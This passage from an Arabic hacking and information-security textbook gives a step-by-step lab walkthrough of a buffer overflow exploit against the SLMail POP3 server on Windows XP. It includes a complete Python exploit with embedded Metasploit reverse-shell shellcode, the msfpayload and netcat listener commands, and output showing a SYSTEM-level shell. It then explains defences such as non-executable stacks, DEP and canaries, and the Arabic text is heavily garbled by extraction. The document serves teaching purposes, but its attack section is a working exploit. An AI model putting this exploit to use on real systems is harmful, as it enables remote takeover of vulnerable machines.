    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [273] [*] Exact match at offset 2606 ‫ال‬ ‫لرسال‬ ‫ُعيد‬‫ن‬‫ل‬ ‫ذيا‬ buffer ‫اخلطرية‬ ‫املعلومات‬ ‫ذذه‬ ‫معرقة‬ ‫بعد‬  . :‫كالتايل‬ ‫ليكون‬ ‫الكود‬ ‫داطل‬ ‫السطر‬ ‫ذذا‬ ‫بتعديل‬ ‫سنقوم‬ buffer = "A" * 2606 + "B" * 4 + "C" * 90 ‫يعني‬ ‫ذذا‬ ‫ال‬ ‫أن‬ EIP ‫هلا‬ ‫حيدث‬ ‫أن‬ ‫البد‬ overwrite ‫ب‬ “4 B’s” ‫أو‬ 42 42 42 42 ‫ال‬ ‫بقية‬ ‫أكملنا‬ ‫م‬ُ‫ث‬ ،‫الثنائي‬ ‫بالنظام‬ buffer ‫باحلرف‬ “C” .
  • 274.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [274] َ ‫ث‬َ‫د‬ َ‫ح‬ ‫لقد‬ overwrite ‫لل‬ EIP ‫ال‬ ً‫ا‬‫أيض‬ ، ESP ‫ال‬ ‫بداية‬ ‫لىل‬ ‫ُشري‬‫ت‬ ‫أصبحت‬ “C’s” ‫اجله‬ ‫يف‬ ‫باألسفل‬ ‫ة‬ ‫اليمنى‬ ..!‫رائع‬ ‫عمل‬ ‫ذذا‬ ‫ا‬ ‫اخلطوة‬ ‫لىل‬ ‫لننتقل‬ ‫ذيا‬ ‫لثالث‬ ‫ة‬ .. Locating Space for our Shellcode ‫ال‬ ‫أن‬ ‫املايض‬ ‫الشكل‬ ‫يف‬ ‫الحظنا‬ ESP ‫أص‬ ‫ال‬ ‫بداية‬ ‫لىل‬ ‫ُشري‬‫ت‬ ‫بحت‬ buffer ‫باحلرف‬ ‫مألناه‬ ‫الذي‬ “C” ، ‫يدقعنا‬ ‫ذذا‬ ‫ال‬ ‫حروف‬ ‫الستبدال‬ “C” ‫بال‬ ‫ذذه‬ Shellcode ‫بنا‬ ‫اخلاص‬ .
  • 275.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [275] ‫ال‬ ‫ولكن‬ shellcode ‫لىل‬ ‫مساحته‬ ‫تصل‬ ‫استخدامه‬ ‫بصدد‬ ‫نحن‬ ‫الذي‬ 350 bytes ‫بحاج‬ ‫نحن‬ ‫بالتايل‬ ، ‫ة‬ ‫ال‬ ‫حجم‬ ‫لزيادة‬ buffer ‫لل‬ ‫ص‬ ّ ‫ص‬َ‫خ‬ُ‫مل‬‫ا‬ shellcode . ..ً‫ا‬‫سابق‬ ‫كتبناه‬ ‫الذي‬ ‫الكود‬ ‫داطل‬ ‫عتاد‬ُ‫مل‬‫ا‬ ‫السطر‬ ‫عىل‬ ‫تعديل‬ ‫بإجراء‬ ‫سنقوم‬ buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 - 4) ‫عملي‬ ‫نجاح‬ ‫من‬ ‫ُّد‬‫ك‬‫للتأ‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫اهلجوم‬ ‫بتنفيذ‬ ‫سنقوم‬ ،‫واآلن‬ ‫ال‬ ‫ة‬ Allocation ‫املبدأي‬ ‫ة‬ ‫لل‬ shellcode . ..!!‫نجحنا‬ ‫لقد‬ ‫ال‬ ‫طانة‬ ‫حتت‬ ‫ترى‬ ‫كام‬ Address ‫ال‬ ‫تظليل‬ ‫تم‬ ، address ‫ال‬ ‫ببداية‬ ‫اخلاص‬ shellcode ‫ال‬ ‫لليه‬ ‫ُشري‬‫ت‬ ‫الذي‬ ‫وذو‬ ESP . ‫ال‬ ‫أن‬ ‫الحظ‬ ‫ولكن‬ address ‫ال‬ ‫لليه‬ ‫ُشري‬‫ت‬ ‫الذي‬ ESP ‫املحاول‬ ‫يف‬ ‫تغري‬ ‫قد‬ ‫ة‬ ‫الثاني‬ ‫ة‬ .!
  • 276.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [276] ‫كو‬ ‫من‬ ‫نستفيد‬ ‫وماذا‬ ‫ال‬ ‫أن‬ ‫ن‬ ESP ‫ال‬ ‫ذذا‬ ‫لىل‬ ‫ُشري‬‫ت‬ Address ‫؟‬.. ‫استطعنا‬ ‫لو‬ ‫أنه‬ ‫نستفيد‬ ‫عمل‬ redirection ‫لل‬ Execution flow ‫ال‬ ‫حدوث‬ ‫أثناء‬ crash ‫ث‬ُ‫د‬ َ ‫حي‬ ‫بحيث‬ Jump ‫ال‬ ‫لىل‬ “Address of ESP Register” .‫ذدقنا‬ ‫حققنا‬ ‫ِبذا‬ ‫سنكون‬ ‫ذدقنا؟‬ ‫ذو‬ ‫وما‬ ‫ال‬ ‫أن‬ ‫بام‬ ESP ‫ال‬ ‫موضع‬ ‫لىل‬ ‫ُشري‬‫ت‬ shellcode ‫ي‬ ‫قهذا‬ ، ‫ال‬ ‫تنفيذ‬ ‫سيتم‬ ‫أنه‬ ‫عني‬ shellcode ‫عبار‬ ‫وذو‬ ‫ة‬ ‫عن‬ Reverse shell . ‫بحاج‬ ‫اآلن‬ ‫نحن‬ ..ً‫ا‬‫لذ‬ ‫ة‬ ‫عن‬ ‫للبحث‬ Instruction ‫نوع‬ ‫من‬ JMP ESP ‫ال‬ ‫ُجرب‬‫ن‬ ‫كي‬ CPU ‫ال‬ ‫لىل‬ ‫بالقفز‬ ESP ‫أثناء‬ ‫ال‬ ‫حدوث‬ crash . ‫ال‬ ‫ذذا‬ ‫نحن‬ ‫ُعطيه‬‫ن‬ ‫ال‬ ‫وملاذا‬ Address of ESP ‫ال‬ ‫ذذه‬ ‫عن‬ ‫البحث‬ ‫عناء‬ ‫توقري‬‫ل‬ instruction ‫ال‬ ‫داطل‬ Memory ‫؟‬.. ‫ال‬ ‫ذذا‬ ‫أن‬ ‫رأينا‬ ‫كام‬ Address ‫مر‬ ‫كل‬ ‫يف‬ ‫تغيريه‬ ‫يتم‬ ‫ة‬ ‫قيها‬ ‫حيدث‬ crash ‫ال‬ ‫هلذه‬ process ‫معرقة‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫لن‬ ‫وبالتايل‬ ، ‫ال‬ ‫ذذه‬ ‫عن‬ ‫سنبحث‬ ،‫ذلك‬ ‫عن‬ ً‫ا‬‫وعوض‬ ،!‫عنوانه‬ instruction ‫ال‬ ‫لىل‬ ‫بالقفز‬ ‫تقوم‬ ‫التي‬ ESP ‫عىل‬ ‫التحايل‬ ‫من‬ ‫كنوع‬ ‫املشكل‬ ‫ذذه‬ ‫ة‬ . ‫ُمتاز‬ ‫ذذا‬ ‫الرابع‬ ‫اخلطوة‬ ‫لىل‬ ‫لننتقل‬ ‫ذيا‬ .. ‫ة‬ ..
  • 277.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [277] Redirecting the Execution Flow ‫ال‬ ‫نمتلك‬ ‫اآلن‬ ‫نحن‬ EIP ‫ال‬ ‫لىل‬ ‫االنتقال‬ ‫عن‬ ‫املسؤوله‬ ‫وذي‬ ، instruction ‫التالي‬ ‫ة‬ ..‫تنفيذذا‬ ‫يتم‬ ‫كي‬ ‫كذلك؟‬ ‫أليس‬ ‫ال‬ ‫نعلم‬ ‫أننا‬ ‫كام‬ instruction ‫التالي‬ ‫ة‬ ‫وذي‬ ..‫لليها‬ ‫االنتقال‬ ‫نود‬ ‫التي‬ Jmp ESP ‫ا‬ ‫ولدينا‬ ، ‫ل‬ shellcode ‫يف‬ ‫وضعناه‬ ‫الذي‬ ‫ال‬ ‫يف‬ ‫ما‬ ٍ‫مكان‬ memory . ‫ال‬ ‫ذذه‬ ‫لجياد‬ ‫اآلن‬ ‫لنا‬ ‫يتبقى‬ instruction ‫ألي‬ ‫تنتمي‬ ‫التي‬ Executable ‫ال‬ ‫بتقنية‬ ‫حممي‬ ‫غري‬ DEP ‫ال‬ ‫و‬ ASLR ‫ك‬ ‫ي‬ ‫املهم‬ ‫هلذه‬ ُ‫ه‬‫نستخدم‬ ‫ة‬ ‫اخلطرية‬  . ‫ال‬ ‫ذذا‬ ‫تذكر‬ ‫ذل‬ DEP ‫وال‬ ASLR ‫؟‬.. ‫املهم‬ ‫هلذه‬ ‫سنستخدم‬ ‫ة‬ Script ‫سمى‬ُ‫ي‬ mona.py ‫ال‬ ‫أحد‬ ‫وذو‬ Scripts ‫اخلاص‬ ‫ة‬ ‫ال‬ ‫ِبذا‬ Debugger .‫الرائع‬ ‫ال‬ ‫ذذا‬ Script ‫ال‬ ‫داطل‬ ‫لنا‬ ‫يبحث‬ ‫أن‬ ‫منه‬ ‫سنطلب‬ memory ‫أي‬ ‫عن‬ module ‫أو‬ executable ‫اخلصائص‬ ‫به‬ ‫تتوقر‬ ‫ال‬ ‫ذذا‬ ‫داطل‬ ‫بالبحث‬ ‫نقوم‬ ‫بعدا‬ ‫ثم‬ ،ً‫ا‬‫سابق‬ ‫ذكرنا‬ ‫كام‬ ‫حممي‬ ‫غري‬ ‫امللف‬ ‫ذذا‬ ‫يكون‬ ‫أن‬ ‫وذي‬ ،‫ُريدذا‬‫ن‬ ‫التي‬ module ‫ال‬ ‫عن‬ Instruction ‫وذي‬ ..‫ُريد‬‫ن‬ ‫التي‬ Jmp ESP . ‫لنا‬ ‫أطرجها‬ ‫التي‬ ‫النتائج‬ ‫ماييل‬ mona.py .. ‫ال‬ ‫الحظ‬ DLL ‫املوجود‬ ‫امللفات‬ ‫أحد‬ ‫لنه‬ ..‫باألبيض‬ ‫ظلل‬ُ‫مل‬‫ا‬ ‫ة‬ ‫ال‬ ‫يف‬ system32 ‫ال‬ ‫داطل‬ windows ‫احلقيق‬ ‫يف‬ ، ‫ة‬ ‫أنه‬ ‫ذو‬ ‫بل‬ ،‫احلريف‬ ‫باملعنى‬ ً‫ا‬‫ملف‬ ‫ليس‬ Application Library . ‫ال‬ ‫ذذا‬ DLL ‫لىل‬ ‫يتعرض‬ ‫ال‬ ‫ال‬ Rebase ‫عملية‬ ‫كل‬ ‫يف‬ reboot ‫ال‬ ‫بتقنيات‬ ‫حممي‬ ‫غري‬ ً‫ا‬‫أيض‬ ، SafeSEH ‫ال‬ ‫أو‬ ، DEP ‫ال‬ ‫أو‬ ، ASLR .
  • 278.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [278] ..!!‫مثايل‬ ‫اطتيار‬ ‫ذذا‬ ‫عن‬ ‫بداطله‬ ‫سنبحث‬ ‫واآلن‬ Jmp ESP ‫ذكذا‬ ‫كتابتها‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫ال‬ ‫ولكن‬ ، ‫البحث‬ ‫طانة‬ ‫يف‬ ‫بحاج‬ ‫نحن‬ ..! ‫ة‬ ‫ال‬ ‫لىل‬ opcode ‫ال‬ ‫هلذه‬ ‫قابل‬ُ‫مل‬‫ا‬ instruction ‫وذو‬ ، FF E4 ، ‫ن‬ ‫ب‬ ‫بالبحث‬ ‫قوم‬ ‫كتابة‬ ‫األمر‬ ‫موضح‬ ‫ذو‬ ‫كام‬ ‫ب‬ ‫الشكل‬ ‫التايل‬ : ‫ال‬ ‫ذذا‬ ‫عىل‬ ‫زدوج‬ُ‫مل‬‫ا‬ ‫بالنقر‬ ‫نقوم‬ address ‫ال‬ ‫لنا‬ ‫لتظهر‬ ‫األبيض‬ ‫باللون‬ ‫لل‬َ‫ظ‬ُ‫مل‬‫ا‬ instruction :‫كامييل‬ ‫واضح‬ ‫بشكل‬ ..‫اآلن‬ ‫حتى‬ ‫حصلة‬ُ‫مل‬‫ا‬ ‫بحاج‬ ‫نحن‬ ‫ة‬ ‫ال‬ ‫لتوجيه‬ Execution flow ‫ال‬ ‫حدوث‬ ‫أثناء‬ crash ‫يف‬ ‫ل‬ِّ‫ث‬‫تم‬ُ‫مل‬‫ا‬ ‫وذو‬ ‫ال‬ EIP ‫عمل‬ ‫استطعنا‬ ‫التي‬ overwrite ‫ال‬ ‫ذذا‬ ‫لىل‬ ..‫هلا‬ address ‫ال‬ ‫داطل‬ ‫يقع‬ ‫الذي‬ DLL ‫ى‬‫سم‬ُ‫مل‬‫ا‬ slmfc.dll ‫بعمل‬ ‫يقوم‬ ‫والذي‬ Jump ‫ال‬ ‫لىل‬ ESP ‫ال‬ ‫لىل‬ ‫ُشري‬‫ت‬ ‫بدورذا‬ ‫والتي‬ ، shellcode .!‫بنا‬ ‫اخلاص‬
  • 279.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [279] ..!!‫ش‬‫دذ‬ُ‫م‬ ‫ذذا‬ ‫األطري‬ ‫اخلطوة‬ ‫لىل‬ ‫لننتقل‬ ‫بنا‬ ‫ذيا‬ ‫ة‬ .. Getting the Shell ‫اآل‬ ‫ال‬ ‫استبدال‬ ‫لنا‬ ‫بقي‬ ،‫ُريد‬‫ن‬ ‫ما‬ ‫كل‬ ‫عىل‬ ‫حصلنا‬ ‫أن‬ ‫وبعد‬ ،‫ن‬ “C’s” ‫بال‬ shellcode ‫ُريده‬‫ن‬ ‫الذي‬ . ..‫بتنفيذه‬ ‫سنقوم‬ ‫الذي‬ ‫للكود‬ ‫النهائي‬ ‫الشكل‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫معي‬ ‫تعال‬ #!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shellcode = ("xbbxdcx0ex23x1cxd9xedxd9x74x24xf4x5fx33xc9" + "xb1x4fx31x5fx14x83xefxfcx03x5fx10x3exfbxdf" + "xf4x37x04x20x05x27x8cxc5x34x75xeax8ex65x49" + "x78xc2x85x22x2cxf7x1ex46xf9xf8x97xecxdfx37" + "x27xc1xdfx94xebx40x9cxe6x3fxa2x9dx28x32xa3" + "xdax55xbdxf1xb3x12x6cxe5xb0x67xadx04x17xec" + "x8dx7ex12x33x79x34x1dx64xd2x43x55x9cx58x0b" + "x46x9dx8dx48xbaxd4xbaxbax48xe7x6axf3xb1xd9" + "x52x5fx8cxd5x5ex9exc8xd2x80xd5x22x21x3cxed" + "xf0x5bx9ax78xe5xfcx69xdaxcdxfdxbexbcx86xf2" + "x0bxcbxc1x16x8dx18x7ax22x06x9fxadxa2x5cxbb" + "x69xeex07xa2x28x4axe9xdbx2bx32x56x79x27xd1" + "x83xfbx6axbex60x31x95x3exefx42xe6x0cxb0xf8" + "x60x3dx39x26x76x42x10x9exe8xbdx9bxdex21x7a" + "xcfx8ex59xabx70x45x9ax54xa5xc9xcaxfax16xa9" + "xbaxbaxc6x41xd1x34x38x71xdax9ex4fxb6x4dx2b" + "x50x38x8ax43x52x38x93x28xdbxdexf9x5ex8ax49" + "x96xc7x97x01x07x07x02x81xa4x9axc9x51xa2x86" + "x45x06xe3x79x9cxc2x19x23x36xf0xe3xb5x71xb0" +
  • 280.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [280] "x3fx06x7fx39xcdx32x5bx29x0bxbaxe7x1dxc3xed" + "xb1xcbxa5x47x70xa5x7fx3bxdax21xf9x77xddx37" + "x06x52xabxd7xb7x0bxeaxe8x78xdcxfax91x64x7c" + "x04x48x2dx8cx4fxd0x04x05x16x81x14x48xa9x7c" + "x5ax75x2ax74x23x82x32xfdx26xcexf4xeex5ax5f" + "x91x10xc8x60xb0") Buffer = "A" * 2606 + "x8fx35x4ax5f" + "x90" * 8 + shellcode try: print "Sending buffer..." s.connect(('192.168.18.131',110)) data = s.recv(1024) s.send('USER username' +'rn') data = s.recv(1024) s.send('PASS' + buffer + 'rn') s.close() print "Done." except: print "Could not connect to POP3!" ‫بال‬ ‫اخلاص‬ ‫السطر‬ ‫عىل‬ ‫التعديالت‬ ‫بعض‬ ‫يظهر‬ buffer .. Buffer = "A" * 2606 + "x8fx35x4ax5f" + "x90" * 8 + shellcode ‫ال‬ ‫استبدلنا‬ ‫لقد‬ “4B’s” ‫بعمل‬ ‫قامت‬ ‫التي‬ overwrite ‫لل‬ EIP ‫بال‬ address ‫بال‬ ‫اخلاص‬ Jmp ESP ‫عليه‬ ‫عثرنا‬ ‫الذي‬ ‫ال‬ ‫داطل‬ slmfc.dll . ‫بإضاقة‬ ‫منا‬ُ‫ق‬ ً‫ا‬‫أيض‬ opcode ‫وذو‬ ،‫مرات‬ ‫ثامين‬ ‫كرر‬ُ‫م‬ ‫معني‬ "x90" ‫يعني‬ ُ ‫حيث‬ “No Operation” ‫ال‬ ‫ذذا‬ ‫وما‬ NOP ‫؟‬.. ‫لهنا‬ instruction ‫ماييل‬ ‫تعني‬ .. (Do nothing, and execute the next instruction)
  • 281.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [281] ‫ال‬ ‫ينتقل‬ ‫وعندما‬ EIP ‫ال‬ ‫لىل‬ instruction ‫التالي‬ ‫ة‬ ‫لىل‬ ‫وذكذا‬ ..‫مثلها‬ ‫جيدذا‬ ‫ال‬ ‫بداية‬ ‫لىل‬ ‫يصل‬ ‫أن‬ shellcode . ‫ولكن‬ ‫حال؟‬ ‫بأي‬ ‫بإضاقتها‬ ‫منا‬ُ‫ق‬ ‫ملاذا‬ . ‫ال‬ ‫نضع‬ ‫مل‬ ‫ملاذا‬ shellcode ‫ال‬ ‫توجيه‬ ‫بعد‬ ً‫ة‬‫بارش‬ُ‫م‬ EIP ‫ال‬ ‫ُشري‬‫ت‬ ُ ‫حيث‬ ‫لىل‬ ESP ‫؟‬.. ‫ال‬ ‫من‬ ‫عدد‬ ‫أي‬ ‫ضياع‬ ‫نتجنب‬ ‫كي‬ bytes ‫الواقع‬ ‫ة‬ ‫ال‬ ‫بداية‬ ‫يف‬ shellcode ‫ال‬ ‫عملية‬ ‫اء‬ ّ‫جر‬ Jump ‫ال‬ ‫ذذه‬ ‫له‬ ‫قنضع‬ ، NOPs ‫ي‬ ‫كي‬ ‫ال‬ ‫قع‬ Pointer ‫ال‬ ‫لىل‬ ‫يصل‬ ‫أن‬ ‫لىل‬ ‫السري‬ ‫ل‬‫كم‬ُ‫ي‬‫و‬ ‫نها‬‫م‬ ٍ ‫أي‬ ‫يف‬ shellcode . ‫ال‬ ‫ذذا‬ ً‫ا‬‫وأطري‬ shellcode ‫ال‬ ‫موديوالت‬ ‫أحد‬ ‫باستخدام‬ ‫عليه‬ ‫حصلنا‬ Metasploit ‫وذو‬ msfpayload ‫منا‬ ‫وحيتاج‬ ، ‫األساسي‬ ‫املعلومات‬ ‫بعض‬ ‫ة‬ ‫كال‬ Local IP ‫وال‬ ‫بنا‬ ‫اخلاص‬ Local Port ، ‫الربجم‬ ‫ولغة‬ ‫ة‬ ‫لذا‬ ‫قيام‬ ‫كانت‬ C ‫أو‬ Python . root@kali:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.18.128 LPORT=443 C ‫تبدو‬ ‫األمور‬ ‫تاز‬ ُ ‫ُم‬ ‫ة‬ .!‫اآلن‬ ‫لىل‬ ‫ال‬ ‫ذذا‬ ‫ننتظر‬ ‫أن‬ ‫لنا‬ َ‫بقي‬ reverse shell ‫ال‬ ‫من‬ ‫لنا‬ ‫سيأيت‬ ‫الذي‬ Win XP .. ‫ال‬ ‫وضع‬ ‫يف‬ ‫نكون‬ ‫أن‬ ‫جيب‬ ‫أننا‬ ‫يعني‬ ‫ذذا‬ Listening ‫نتمك‬ ‫كي‬ .‫العكيس‬ ‫اإلتصال‬ ‫ذذا‬ ‫استقبال‬ ‫من‬ ‫ن‬ ‫أداة‬ ‫لنا‬ ‫تقوم‬ Netcat ‫هم‬ُ‫مل‬‫ا‬ ‫ِبذه‬ ‫ة‬ ‫بفتح‬ ‫نقوم‬ ، Tab ‫ال‬ ‫داطل‬ ‫جديد‬ Terminal :‫األمر‬ ‫ذذا‬ ‫وكتابة‬ root@kali:~# nc -nlvp 443 root@kali:~#
  • 282.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [282] ‫ال‬ ‫نبدأ‬ ‫م‬ُ‫ث‬ Attack ..‫جديد‬ ‫من‬ root@kali:~# ./fuzznew.py Sending buffer... Done. ‫نعود‬ ‫واآلن‬ ‫ال‬ ‫لىل‬ Tab ‫بأداة‬ ‫اخلاص‬ Netcat ‫ال‬ ‫من‬ ‫القادم‬ ‫اإلتصال‬ ‫لننتظر‬ Victim . root@kali:~# nc -nlvp 443 listening on [any] 443 ... connect to [192.168.18.128] from (UNKNOWN) [192.168.18.131] 49557 Microsoft Windows XP SP3 Copyright (c) Microsoft Corporation. All rights reserved. C:Program FilesSLmailSystem>whoami whoami nt authoritysystem ‫وذي‬ ..!‫الصالحيات‬ ‫أعىل‬ ‫عىل‬ ‫حصلنا‬ ..‫ذا‬ ‫نحن‬ ‫ذا‬ System Privileges . ..‫القدر‬ ‫ِبذا‬ ‫سنكتفي‬ ‫للحديث‬ ‫سننتقل‬ ‫ال‬ ‫عن‬ Protection Mechanisms ‫ستخدم‬ُ‫مل‬‫ا‬ ‫ة‬ ‫ال‬ ‫امية‬‫حل‬ Operating Systems ‫وال‬ memory .‫ذذه‬ ‫التالعب‬ ‫عمليات‬ ‫من‬
  • 283.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [283] Protection Mechanisms ‫املختلف‬ ‫التشغيل‬ ‫أنظمة‬ ‫تستخدمها‬ ‫أمنية‬ ‫تقنيات‬ ‫عدة‬ ‫عن‬ ‫ترص‬ ُ ‫ُم‬ ‫بشكل‬ ‫سنتحدث‬ ‫ة‬ . :‫رئيسية‬ ‫ططوات‬ ‫ثالثة‬ ‫يف‬ ‫احلادث‬ ‫االطرتاق‬ ‫عملية‬ ‫تلخيص‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬  ‫ال‬ ‫يف‬ ‫طلل‬ ‫حدوث‬ ‫ذي‬ ‫األوىل‬ memory ‫ال‬ ‫أو‬ ‫الربنامج‬ ‫هلذا‬ ‫املخصصة‬ application .  ‫ال‬ ‫عىل‬ ‫السيطرة‬ ‫حماولة‬ ‫ذي‬ ‫والثانية‬ flow ‫ال‬ ‫ذذا‬ ‫مسار‬ ِّ ‫نغري‬ ‫بأن‬ ‫للربنامج‬ ‫الطبيعي‬ flow ‫آطر‬ ‫يشء‬ ‫لىل‬ .  ‫ال‬ ‫عملية‬ ‫ذي‬ ‫والثالثة‬ execution ‫لل‬ shellcode ‫ال‬ ‫داطل‬ ‫ما‬ ٍ‫مكان‬ ‫يف‬ ‫بزرعه‬ ‫قمنا‬ ‫الذي‬ memory . ‫هلا‬ ‫يتعرض‬ ‫التي‬ ‫التهديدات‬ ‫وبمعرقة‬ ‫التشغيل‬ ‫نظام‬ ‫طر‬ ‫ختيل‬ ‫يمكننا‬ ‫احل‬ ‫ق‬ ‫الثغرات‬ ‫هلذه‬ ‫املناسبة‬ ‫امية‬ . ‫طريق‬ ‫بأول‬ ‫نبدأ‬ ‫ة‬ : Nonexecutable Stack ‫ال‬ ‫ثغرات‬ ‫ملنع‬ ‫مبارش‬ ‫و‬ ‫واضح‬ ‫لجراء‬ ‫ذذا‬ Buffer Overflow . ‫ال‬ ‫وضع‬ ‫من‬ ‫متكنت‬ ‫قإذا‬ Shellcode ‫يف‬ ‫بك‬ ‫اخلاص‬ ‫ال‬ ‫يف‬ ‫تريده‬ ‫مكان‬ ‫أي‬ memory ‫أمهي‬ ‫له‬ ‫يكون‬ ‫لن‬ ‫وبالتايل‬ ،!‫تنفيذه‬ ‫من‬ ‫تتمكن‬ ‫قلن‬.. ‫ة‬ . This feature enabled by default in most Linux distributions, OpenBSD, Mac OS X, Solaris, and Windows. َ‫ق‬ َ‫ظ‬ َ‫ه‬ ‫بإسم‬ ‫تكنيك‬ ‫ر‬ ret2libc (returning into libc) ، ‫وذي‬ library ‫ال‬ ‫بعض‬ ‫حتوي‬ functions ‫كال‬ printf ( ) ‫ال‬ ‫و‬ exit( ) ، ‫ال‬ ‫ذذه‬.. functions ‫تعترب‬ shared ‫ي‬ ‫برنامج‬ ‫أي‬ ‫أن‬ ‫بمعنى‬ ‫ال‬ ‫ذذه‬ ‫ستخدم‬ function ‫توجيه‬ ‫من‬ ‫سيتمكن‬ ‫ال‬ ‫مسار‬ execution ‫ال‬ ‫ذذه‬ ‫مكان‬ ‫لىل‬ function ‫ال‬ ‫داطل‬ libc .
  • 284.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [284] ‫ال‬ ‫توجيه‬ ‫من‬ ‫ُمكننا‬‫ت‬‫س‬ ‫الربنامج‬ ‫يف‬ ‫ثغرة‬ ‫قوجود‬ execution ‫أي‬ ‫لىل‬ function ‫ال‬ ‫ذذه‬ ‫يف‬ ‫تقع‬ lib . ‫األمر‬ ‫ذذا‬ ‫تطور‬ :‫مثل‬ ‫األطرى‬ ‫التكنيكات‬ ‫بعض‬ ‫ليشمل‬ ret2plt, ret2strcpy, ret2gets, ret2syscall, ret2data, ret2text, ret2code, ret2dl-resolve, and chained ret2code. W^X Memory :‫اآليت‬ ‫تعني‬ ‫باطتصار‬ ‫اخلاصية‬ ‫ذذه‬ Making writable memory non-executable, and executable memory non-writable. ‫عمل‬ ‫الصعب‬ ‫من‬ ‫سيكون‬ ‫اخلاصية‬ ‫ذذه‬ ‫وبتطبيق‬ inject ‫لل‬ shellcode ‫وجود‬ ‫حالة‬ ‫يف‬ vulnerable program . ‫ال‬ ‫ذذه‬ ‫تطبيق‬ ‫تم‬ ‫لذا‬ mechanism َ ‫س‬ ‫أهنا‬ ‫يبدو‬ ،‫قوق‬ ‫عرضناذا‬ ‫التي‬ ‫التكنيكات‬ ‫كل‬ ‫منع‬ ‫من‬ ‫تتمكن‬ ‫قلن‬ ‫وحدذا‬ ُ‫ت‬ ‫فل‬ ‫ح‬ ‫وذم‬ .‫منهم‬ ‫ثالثة‬ ‫مع‬ ‫ققط‬ ret2strcpy, ret2gets, and ret2data . ..‫أطرى‬ ‫بتقنيات‬ ‫تدعيمها‬ ‫قينبغي‬ ‫ُمتازة‬ ‫قكرة‬ ‫لكنها‬ ‫ا‬ ، ‫منها‬ ‫ستفادت‬ Microsoft ‫عندما‬ ‫ال‬ ‫طورت‬ DEP (Data Execution Prevention) ‫لصدار‬ ‫يف‬ Win XP SP2 .‫النظرية‬ ‫ذذه‬ ‫عىل‬ ‫قكرته‬ ‫تعتمد‬ ‫حيث‬ Canaries (Stack Protection) ‫طائر‬ ‫لسم‬ ‫تأطذ‬ ‫اخلاصية‬ ‫ذذه‬ ‫الكناري‬ ‫ذذا‬ ‫وظيفة‬ ‫عن‬ ‫سنتكلم‬ ‫أكثر‬ ‫اخلاصية‬ ‫ذذه‬ ‫وظيفة‬ ‫ولتقريب‬ ، ‫ل‬‫ام‬ُ‫ع‬ ‫عند‬ ‫الطائر‬ ‫م‬ ‫الذذب‬ ‫ناجم‬ . ‫تعمق‬ ‫قكلام‬ ،‫للحفر‬ ‫طريقهم‬ ‫يف‬ ‫وذم‬ ‫الطائر‬ ‫ذذا‬ ‫معهم‬ ‫امل‬ُ‫ع‬‫ال‬ ‫حيمل‬ ..‫أكثر‬ ‫وا‬ ‫أكثر‬ ‫األكسجني‬ ‫قل‬ ‫كلام‬ ..‫ينعدم‬ ‫أن‬ ‫لىل‬ ‫وذكذا‬ ،
  • 285.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [285] ‫منهم‬ ً‫ة‬‫حساسي‬ ‫أكثر‬ ‫أنه‬ ‫ذي‬ ‫الطائر‬ ‫ذذا‬ ‫قائدة‬ ‫لألكسجني‬ ‫ططورة‬ ‫بذلك‬ ً‫ا‬‫نذر‬ُ‫م‬ ً‫ا‬‫بكر‬ُ‫م‬ ‫لالطتناق‬ ‫سيتعرض‬ ‫وبالتايل‬ .. .‫بالداطل‬ ‫التعمق‬ ‫استكامل‬ . ‫ال‬ ‫أنواع‬ ‫من‬ ‫كنوع‬ ‫تطبيقه‬ ‫نريد‬ ‫ما‬ ‫بالضبط‬ ‫وذذا‬ protection ‫لل‬ Stack . ‫عن‬ ‫عبارة‬ ‫قهي‬ values 32 bits ‫ال‬ ‫بني‬ ‫ما‬ ٍ‫مكان‬ ‫يف‬ ‫وضعها‬ ‫يتم‬ buffers ‫احلساس‬ ‫والبيانات‬ ‫ة‬ ‫ويف‬ ،‫محايتها‬ ‫نود‬ ‫التي‬ ‫حدوث‬ ‫حالة‬ buffer overflow ‫ال‬ ‫ذذه‬ ‫ستتعرض‬ .. Canaries ‫ال‬ ‫هلذا‬ overflow ..ً‫ال‬‫أو‬ ً‫ة‬‫ر‬‫نذ‬ُ‫م‬ ‫الربنامج‬ ‫بذلك‬ 